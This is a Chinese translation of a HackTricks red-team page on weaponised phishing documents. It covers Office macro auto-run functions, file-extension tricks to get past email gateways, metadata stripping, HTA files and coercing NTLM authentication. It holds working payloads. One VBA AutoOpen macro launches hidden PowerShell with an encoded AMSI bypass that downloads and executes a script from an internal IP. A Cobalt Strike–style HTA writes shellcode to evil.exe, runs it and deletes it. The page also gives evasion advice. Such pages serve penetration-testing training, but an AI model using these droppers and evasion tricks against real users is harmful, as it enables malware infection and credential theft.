Phishing Files & Documents

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

办公文档

Microsoft Word 在打开文件之前执行文件数据验证。数据验证以数据结构识别的形式进行,针对 OfficeOpenXML 标准。如果在数据结构识别过程中发生任何错误,正在分析的文件将不会被打开。

通常,包含宏的 Word 文件使用 .docm 扩展名。但是,可以通过更改文件扩展名来重命名文件,并仍然保留其执行宏的功能。 例如,RTF 文件不支持宏,但将 DOCM 文件重命名为 RTF 将由 Microsoft Word 处理,并能够执行宏。 相同的内部机制适用于 Microsoft Office 套件中的所有软件(如 Excel、PowerPoint 等)。

您可以使用以下命令来检查哪些扩展名将由某些 Office 程序执行:

assoc | findstr /i "word excel powerp"

外部图片加载

前往:插入 --> 快速部件 --> 字段 类别:链接和引用,字段名称:includePicture,以及文件名或URL http://<ip>/whatever

宏后门

可以使用宏从文档中运行任意代码。

自动加载函数

它们越常见,杀毒软件检测到的可能性就越大。

  • AutoOpen()

  • Document_Open()

宏代码示例

Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
Sub AutoOpen()

Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"

End Sub
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>

手动删除元数据

转到 文件 > 信息 > 检查文档 > 检查文档,这将打开文档检查器。单击 检查,然后单击 文档属性和个人信息 旁边的 全部删除

文档扩展名

完成后,选择 另存为类型 下拉菜单,将格式从 .docx 更改为 Word 97-2003 .doc。 这样做是因为你 无法在 .docx 中保存宏,而且关于启用宏的 .docm 扩展名有一些 污名(例如,缩略图图标上有一个巨大的 !,一些网络/电子邮件网关完全阻止它们)。因此,这个 传统的 .doc 扩展名是最好的折衷方案

恶意宏生成器

HTA 文件

HTA 是一个 结合了 HTML 和脚本语言(如 VBScript 和 JScript) 的 Windows 程序。它生成用户界面并作为一个“完全受信任”的应用程序运行,没有浏览器安全模型的限制。

HTA 使用 mshta.exe 执行,通常 与 Internet Explorer 一起安装,使 mshta 依赖于 IE。因此,如果 IE 被卸载,HTA 将无法执行。

<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>

<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function

Pwn
</script>
</html>
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"

Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function

var_func
self.close
</script>

强制 NTLM 认证

有几种远程方式可以强制 NTLM 认证,例如,您可以在电子邮件或用户将访问的 HTML 中添加不可见图像(甚至是 HTTP MitM?)。或者向受害者发送文件地址,这将触发****认证,只需打开文件夹

在以下页面中查看这些想法和更多内容:

pageForce NTLM Privileged AuthenticationpagePlaces to steal NTLM creds

NTLM 中继

不要忘记,您不仅可以窃取哈希或认证,还可以执行 NTLM 中继攻击

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

最后更新于